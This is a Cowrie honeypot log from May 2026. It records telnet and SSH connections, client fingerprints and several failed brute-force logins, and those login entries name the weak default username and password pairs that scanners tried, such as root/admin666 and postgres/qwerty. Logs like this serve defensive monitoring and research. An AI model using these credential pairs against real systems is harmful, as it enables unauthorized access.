{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34986,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16d12942c32","protocol":"telnet","message":"New connection: 137.184.155.248:34986 (10.17.0.5:23) [session: f16d12942c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:30.399664Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60608,"dst_ip":"10.17.0.5","dst_port":23,"session":"a352bf0147dc","protocol":"telnet","message":"New connection: 137.184.155.248:60608 (10.17.0.5:23) [session: a352bf0147dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:37.647664Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60620,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cfc2c238bd","protocol":"telnet","message":"New connection: 137.184.155.248:60620 (10.17.0.5:23) [session: d7cfc2c238bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:39.480653Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60634,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4787b852dd","protocol":"telnet","message":"New connection: 137.184.155.248:60634 (10.17.0.5:23) [session: 6a4787b852dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:40.380255Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60642,"dst_ip":"10.17.0.5","dst_port":23,"session":"da57f639645a","protocol":"telnet","message":"New connection: 137.184.155.248:60642 (10.17.0.5:23) [session: da57f639645a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:42.167544Z"}
{"eventid":"cowrie.session.closed","duration":47.12676191329956,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:47.747720Z","src_ip":"137.184.155.248","session":"ff77e82b5674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":60418,"dst_ip":"10.17.0.5","dst_port":22,"session":"598fb8de2d03","protocol":"ssh","message":"New connection: 190.244.39.232:60418 (10.17.0.5:22) [session: 598fb8de2d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:53.047189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:53.063048Z","src_ip":"190.244.39.232","session":"598fb8de2d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:53.259260Z","src_ip":"190.244.39.232","session":"598fb8de2d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"111111","message":"login attempt [ubuntu/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:54.034071Z","src_ip":"190.244.39.232","session":"598fb8de2d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:55.242155Z","src_ip":"190.244.39.232","session":"598fb8de2d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.56266760826111,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:58.219456Z","src_ip":"137.184.155.248","session":"86c88b706c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57142,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c374ffe828","protocol":"telnet","message":"New connection: 137.184.155.248:57142 (10.17.0.5:23) [session: 41c374ffe828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:59.340715Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":6422,"dst_ip":"10.17.0.5","dst_port":22,"session":"1398d9e2c4a1","protocol":"ssh","message":"New connection: 112.151.178.49:6422 (10.17.0.5:22) [session: 1398d9e2c4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:01.077837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:01.082953Z","src_ip":"112.151.178.49","session":"1398d9e2c4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:01.294620Z","src_ip":"112.151.178.49","session":"1398d9e2c4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"751543154439","protocol":"telnet","message":"New connection: 137.184.155.248:57156 (10.17.0.5:23) [session: 751543154439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:01.471141Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:02.170287Z","src_ip":"112.151.178.49","session":"1398d9e2c4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.493825912475586,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:02.684107Z","src_ip":"137.184.155.248","session":"c567e7b60ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:03.409598Z","src_ip":"112.151.178.49","session":"1398d9e2c4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.7313902378082275,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:07.202401Z","src_ip":"137.184.155.248","session":"751543154439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.579304933547974,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:08.348747Z","src_ip":"137.184.155.248","session":"64afe88595cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"0493ef1b431b","protocol":"telnet","message":"New connection: 137.184.155.248:39502 (10.17.0.5:23) [session: 0493ef1b431b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:09.117821Z"}
{"eventid":"cowrie.session.closed","duration":5.134097337722778,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:14.251795Z","src_ip":"137.184.155.248","session":"0493ef1b431b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":51654,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b16da11f897","protocol":"ssh","message":"New connection: 58.186.20.101:51654 (10.17.0.5:22) [session: 8b16da11f897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:15.022469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:15.027312Z","src_ip":"58.186.20.101","session":"8b16da11f897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:15.296691Z","src_ip":"58.186.20.101","session":"8b16da11f897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.59286594390869,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:16.343076Z","src_ip":"137.184.155.248","session":"89638aaa878a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwerty","message":"login attempt [postgres/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:16.401856Z","src_ip":"58.186.20.101","session":"8b16da11f897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.38774228096008,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:16.787290Z","src_ip":"137.184.155.248","session":"f16d12942c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:17.673728Z","src_ip":"58.186.20.101","session":"8b16da11f897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46526,"dst_ip":"10.17.0.5","dst_port":23,"session":"434cf083c612","protocol":"telnet","message":"New connection: 137.184.155.248:46526 (10.17.0.5:23) [session: 434cf083c612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:18.650077Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46536,"dst_ip":"10.17.0.5","dst_port":23,"session":"488c965cf19a","protocol":"telnet","message":"New connection: 137.184.155.248:46536 (10.17.0.5:23) [session: 488c965cf19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:19.423089Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46542,"dst_ip":"10.17.0.5","dst_port":23,"session":"b23c612f0510","protocol":"telnet","message":"New connection: 137.184.155.248:46542 (10.17.0.5:23) [session: b23c612f0510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:19.681544Z"}
{"eventid":"cowrie.session.closed","duration":45.25352430343628,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:24.734066Z","src_ip":"137.184.155.248","session":"d7cfc2c238bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.45794939994812,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:25.105501Z","src_ip":"137.184.155.248","session":"a352bf0147dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"6817dba06566","protocol":"telnet","message":"New connection: 137.184.155.248:58084 (10.17.0.5:23) [session: 6817dba06566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:25.461151Z"}
{"eventid":"cowrie.session.closed","duration":45.38079285621643,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:25.760853Z","src_ip":"137.184.155.248","session":"6a4787b852dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58096,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3147829941","protocol":"telnet","message":"New connection: 137.184.155.248:58096 (10.17.0.5:23) [session: eb3147829941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:25.871391Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58108,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fa31be5c53","protocol":"telnet","message":"New connection: 137.184.155.248:58108 (10.17.0.5:23) [session: d4fa31be5c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:26.974959Z"}
{"eventid":"cowrie.session.closed","duration":48.67028522491455,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:30.837660Z","src_ip":"137.184.155.248","session":"da57f639645a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35434,"dst_ip":"10.17.0.5","dst_port":23,"session":"7230bd93bd67","protocol":"telnet","message":"New connection: 137.184.155.248:35434 (10.17.0.5:23) [session: 7230bd93bd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:42.629469Z"}
{"eventid":"cowrie.session.closed","duration":46.295044898986816,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:45.635698Z","src_ip":"137.184.155.248","session":"41c374ffe828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35438,"dst_ip":"10.17.0.5","dst_port":23,"session":"72b350a79de1","protocol":"telnet","message":"New connection: 137.184.155.248:35438 (10.17.0.5:23) [session: 72b350a79de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:48.462864Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35440,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7724a8e77c","protocol":"telnet","message":"New connection: 137.184.155.248:35440 (10.17.0.5:23) [session: ed7724a8e77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:48.895038Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":45918,"dst_ip":"159.203.135.109","dst_port":22,"session":"f061d7cd4f72","protocol":"ssh","message":"New connection: 72.253.251.7:45918 (159.203.135.109:22) [session: f061d7cd4f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:52.222822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:52.227391Z","src_ip":"72.253.251.7","session":"f061d7cd4f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:52.344983Z","src_ip":"72.253.251.7","session":"f061d7cd4f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234567@","message":"login attempt [root/asd1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:52.871850Z","src_ip":"72.253.251.7","session":"f061d7cd4f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3854a42b0b17","protocol":"telnet","message":"New connection: 137.184.155.248:35326 (10.17.0.5:23) [session: 3854a42b0b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:53.518849Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:53.991693Z","src_ip":"72.253.251.7","session":"f061d7cd4f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":19948,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe112da98ad1","protocol":"ssh","message":"New connection: 112.151.178.49:19948 (10.17.0.5:22) [session: fe112da98ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:55.893122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:55.899576Z","src_ip":"112.151.178.49","session":"fe112da98ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:56.112683Z","src_ip":"112.151.178.49","session":"fe112da98ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin666","message":"login attempt [root/admin666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:56.991935Z","src_ip":"112.151.178.49","session":"fe112da98ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35340,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed292b54a7b","protocol":"telnet","message":"New connection: 137.184.155.248:35340 (10.17.0.5:23) [session: 0ed292b54a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:57.014699Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:56:58.228211Z","src_ip":"112.151.178.49","session":"fe112da98ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121545791626,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:01.609340Z","src_ip":"189.219.54.254","session":"8c9a48100ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0013518333435,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:01.700301Z","src_ip":"189.219.54.254","session":"8ddd673856fd","protocol":"telnet"}
